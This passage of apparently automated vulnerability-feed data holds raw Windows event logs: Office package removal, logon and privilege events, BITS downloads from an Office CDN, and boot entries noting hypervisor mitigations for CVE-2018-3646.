deprovisioned\tInformation\tMicrosoft-Windows-Privacy-Auditing/Operational\tMicrosoft-Windows-Privacy-Auditing\n05.09.2026 09:16:53.054\t2415\tAn application was unregistered with the following parameters: Microsoft.Office.ActionsServer_8wekyb3d8bbwe!Microsoft.Office.ActionsServer [AppUserModelId] The operation completed successfully. [ErrorCode]\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:16:53.061\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:53.061\t617\tSuccessfully updated the status for package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe and user S-1-5-21-3712849175-2219398513-4278588552-1006 (Clear=0xFFFFFFFF, Set=0x0).\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.066\t41\tSuccessfully deleted AppContainer Microsoft.Office.ActionsServer_8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:16:53.091\t2562\t\tInformation\tApplication\tMicrosoft-Windows-AppXDeploymentServer/Operational\n05.09.2026 09:16:53.131\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:53.134\t818\tDetermining packages to be installed during logon for user: S-1-5-21-3712849175-2219398513-4278588552-1006.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.138\t400\tDeployment Remove operation with target volume C: on Package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe from:  (Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe)  finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.141\t472\tMoving package folder \\\\?\\C:\\Program Files\\WindowsApps\\Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe to \\\\?\\C:\\Program Files\\WindowsApps\\Deleted\\Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe21e230d2-de2e-443e-8514-9c932ad21344. Result: 0x0.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.152\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:54.669\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:54.672\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:56.928\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:16:56.928\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:16:56.965\t7040\tThe start type of the \u0424\u043e\u043d\u043e\u0432\u0430\u044f \u0438\u043d\u0442\u0435\u043b\u043b\u0435\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 (BITS) service was changed from \u0412\u0440\u0443\u0447\u043d\u0443\u044e to \u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438.\tInformation\tSystem\tService Control Manager\n05.09.2026 09:16:56.975\t306\tThe BITS service loaded the job list from disk.\tVerbose\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:16:56.980\t145\tWSMan operation Enumeration started with resourceUri http://schemas.microsoft.com/wbem/wsman/1/config/listener\tInformation\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:16:57.771\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:00.107\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:01.067\t254\tActivity Transfer\tInformation\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.067\t161\t\u041a\u043b\u0438\u0435\u043d\u0442\u0443 \u043d\u0435 \u0443\u0434\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a \u0443\u0437\u043b\u0443 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u043c\u0443 \u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u0435. \u0423\u0431\u0435\u0434\u0438\u0442\u0435\u0441\u044c, \u0447\u0442\u043e \u0441\u043b\u0443\u0436\u0431\u0430 \u043d\u0430 \u0443\u0437\u043b\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441\u044b. \u041e\u0437\u043d\u0430\u043a\u043e\u043c\u044c\u0442\u0435\u0441\u044c \u0441 \u0436\u0443\u0440\u043d\u0430\u043b\u0430\u043c\u0438 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0435\u0439 \u0434\u043b\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 \u0443\u0437\u043b\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u043b\u0443\u0436\u0431\u044b WS-Management (\u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u044d\u0442\u043e IIS \u0438\u043b\u0438 WinRM). \u0415\u0441\u043b\u0438 \u044d\u0442\u043e \u0441\u043b\u0443\u0436\u0431\u0430 WinRM, \u0442\u043e \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u044d\u0442\u043e\u0439 \u0441\u043b\u0443\u0436\u0431\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c \u0443\u0437\u043b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \"winrm quickconfig\".\tError\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.067\t142\tWSMan operation Enumeration failed, error code 2150858770\tError\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.102\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-544\n\tGroup Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x379c\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:17:01.103\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-551\n\tGroup Name:\t\t\u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u0430\u0440\u0445\u0438\u0432\u0430\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x379c\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:17:01.259\t3\t\"The BITS service created a new job.\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {38a663b2-655a-4099-b6b9-05b5586514e3}\nOwner: HONOR-FRG-X\\admin\nProcess Path: C:\\Users\\admin\\AppData\\Local\\Temp\\Setup055E06B0-880E-4FE1-969E-58992B5940F0\\setup.exe\nProcess ID: 19332\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.268\t16403\t\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.465\t310\tThe initialization of the peer helper modules failed with the following error:  0x80070032.\tWarning\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.475\t59\tBITS started the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.581\t60\tBITS stopped transferring the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL. The status code is 0x0.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.583\t4\t\"The transfer job is complete.\nUser: HONOR-FRG-X\\admin\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {38a663b2-655a-4099-b6b9-05b5586514e3}\nOwner: HONOR-FRG-X\\admin\nFile count: 1\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.586\t3\t\"The BITS service created a new job.\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {6f42b80d-7019-4f62-b47c-c9cc61bf79ee}\nOwner: HONOR-FRG-X\\admin\nProcess Path: C:\\Users\\admin\\AppData\\Local\\Temp\\Setup055E06B0-880E-4FE1-969E-58992B5940F0\\setup.exe\nProcess ID: 19332\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.590\t16403\t\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.697\t59\tBITS started the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.856\t60\tBITS stopped transferring the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL. The status code is 0x0.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.858\t4\t\"The transfer job is complete.\nUser: HONOR-FRG-X\\admin\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {6f42b80d-7019-4f62-b47c-c9cc61bf79ee}\nOwner: HONOR-FRG-X\\admin\nFile count: 1\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:02.444\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:17.018\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:25.037\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:26.473\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:31.143\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:34.478\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:36.378\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:36.932\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:37.822\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:38.934\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:44.280\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:44.834\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:45.806\t8001\t\"Skipping license manager: PFN Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:17:45.820\t8001\t\"Skipping license manager: PFN Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:17:45.821\t219\tPSMFlags for Desktop AppX process %1 with applicationID %2 is %3.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.855\t210\tCreated Desktop AppX container {245CDFFE-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.855\t211\tAdded process 16932 to Desktop AppX container 245cdffe-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.857\t201\tCreated process 16932 for application Microsoft.ScreenSketch_8wekyb3d8bbwe!App in package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe. [LaunchProcess]\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:46.353\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:46.358\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"SnippingTool\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:51.490\t3055\tSome toast notifications have been cleared - informed session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.512\t2416\tA local notification was received from Microsoft.ScreenSketch_8wekyb3d8bbwe!App [AppUserModelId] with a 0 [NotificationId] through an application endpoint.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.518\t2418\tA local notification was submitted to threadpool: Microsoft.ScreenSketch_8wekyb3d8bbwe!App [AppUserModelId] toast [NotificationType] 9403 [NotificationTrackingId] Local [NotificationSource].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.523\t3052\tToast with notification tracking id 9403 is being delivered to Microsoft.ScreenSketch_8wekyb3d8bbwe!App on session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.527\t3153\tToast with notification tracking id 9403 is delivered to Microsoft.ScreenSketch_8wekyb3d8bbwe!App on session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.658\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n", "vulnerability": "CVE-2018-3646", "author": {"login": "automation"}}, {"uuid": "3ca79235-11dc-441e-87a5-3ed7c36309d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:58:40.398314+00:00", "type": "seen", "source": "https://gist.github.com/fgh130/1e11ee6c9642a5411cad5d6858526fc7", "content": "Event Time\tEvent ID\tDescription\tLevel\tChannel\tProvider\n05.09.2026 08:28:48.091\t12\tThe operating system started at system time \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:47.500000000Z.\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:28:48.091\t25\t\"The system time was initialized to \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:47.500000000Z. \n\nLoader time: \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:46.000000000Z\nInternal boot flags: 0x2\nHAL RTC error code: 0x0\nRTC time is in UTC: false\nSoft boot: false\nSuccess: true\nPhase: 0\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:28:48.091\t153\tVirtualization-based security (policies: VBS Enabled,VSM Required,Boot Chain Signer Soft Enforced) is enabled due to HyperV.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t82\tTrace point: Function:SipaInsertTcgLog Point:0 Status:STATUS_SUCCESS\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t18\tThere are 0x1 boot options on this system.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t32\tThe bootmgr spent 0 ms waiting for user input.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t20\tThe last shutdown's success status was true. The last boot's success status was true.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t39\tHypervisor Load Options -  IGNOREMEMPART=1 .\tInformation\tMicrosoft-Windows-Hyper-V-Hypervisor-Admin\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.091\t156\tHypervisor initial page allocation NUMA policy: Proportional NUMA distribution\tInformation\tMicrosoft-Windows-Hyper-V-Hypervisor-Admin\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.091\t238\tEFI time zone bias: 2047. Daylight flags: 0. Firmware time: \u200e2026\u200e-\u200e09\u200e-\u200e05T08:28:46.000000000Z.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t85\t\"Read and Unseal Master Key Array Package Status\n\nStatus: STATUS_SUCCESS\nPrimarySealedBlobName: VsmLocalKey2\nSecondaryProtectorVariableName: VsmLocalKeyProtector\nBlobFromUefiVariableSize: 723\nUefiContentIsSealed: 1\nUnsealedBlobSize: 210\nPcr7SealingUsed: 1\nPkgTpmSealMaskLocal: 0x880\nPkgTpmCreationMaskLocal: 0x880\nNeedToResealKeyPkg: 0\nNeedToResealBackup: 0\nNeedToResealPca2023Backup: 0\nPlaintextBlobSize: 210\nPlaintextIsLegacyFormat: 0\nUefiBlobIsCorrupt: 0\nNewKeyID: 0\nVerifiedMicrosoftAuthority: 0\nContainsAuthorityData: 0\nBootmgrAuthorityEventCount: 0\nAuthority: 2\n\nSubstatus\n\nPrimaryBlobUnsealStatus: STATUS_SUCCESS\nBackupBlobUnsealStatus: STATUS_WAIT_1\nPca2023ProtectorUnsealStatus: STATUS_WAIT_1\nBackupBlobValidityCheckStatus: {Object Exists}\nAn attempt was made to create an object and the object name already existed.\nBackupBlobStillValid: true\nPca2023ProtectorValidityCheckStatus: STATUS_WAIT_1\nPca2023ProtectorStillValid: false\nPrimaryBlobResealStatus: STATUS_WAIT_1\nBackupBlobResealStatus: STATUS_WAIT_1\nPca2023ProtectorResealStatus: STATUS_WAIT_1\nV2ProtectorsUsed: 0\nLegacyUefiVarQueryStatus: STATUS_WAIT_1\nLegacyUefiVarCleanupStatus: STATUS_WAIT_1\nActivePolicyVersion: 0\nLatchedPolicyVersion: 0\nUnlatchedPolicyVersion: 0\n\"\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t80\tFASR Platform Verification. FASR cert present: 0. FASR cert signature validation status: 0x1. BootmgrAuthorityEventCount: 0x1. VerifiedMicrosoftAuthority: 1. FASR PCR values validation status: 0x1. PCR mismatch index: -1. FASR cert size: 0. FASR cert: . FASR signature size: 0. FASR signature: .\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t51\tVSM Master Encryption Key Provisioning. Using cached copy status: 0x0. Primary Blob Unseal Status: 0x0. Backup Blob Unseal Status: 0x1. Pca2023 Protector Unseal Status: 0x1. LostOemPk Protector Unseal Status: 0x1. Backup Blob Validity Check Status: 0x40000000. Backup Blob Validity Check Result: true. Pca2023 Protector Validity Check Status: 0x1. Pca2023 Protector Validity Check Result: false. Primary Blob Reseal Status: 0x1. Backup Blob Reseal Status: 0x1. Pca2023 Protector Reseal Status: 0x1. New key generation status: 0x1. Sealing status: 0x1. TPM PCR mask: 0x880. Tpm Counter validation status: 0x2. Tpm Counter creation status: 0x1. Backup sealed blob used: false. Pca2023 Protector cleaned up post upgrade status: 0x1.\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t45\tVSM Identity Key Provisioning. Unsealing cached copy status: 0xC0280018. New key generation status: 0x0. Measuring to PCR status: 0x0. Sealing and caching status: 0x0.\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t25\tThe boot menu policy was 0x1.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t27\tThe boot type was 0x0.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.099\t1\tHypervisor successfully started.\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t2\tHypervisor scheduler type is 0x4.\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t129\t\"Hypervisor initialized I/O remapping.\n\nHardware present: true\nHardware enabled: true\nPolicy: 0x0\nEnabled features: 0x63\nInternal information: 0x0\nProblems: 0x0\nAdditional information: 0x0\"\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t156\t\"Hypervisor configured mitigations for CVE-2018-3646 for virtual machines.\n\nProcessor not affected: true\nProcessor family not affected: false\nProcessor supports cache flush: true\nHyperThreading enabled: false\nParent hypervisor applies mitigations: false\nMitigations disabled 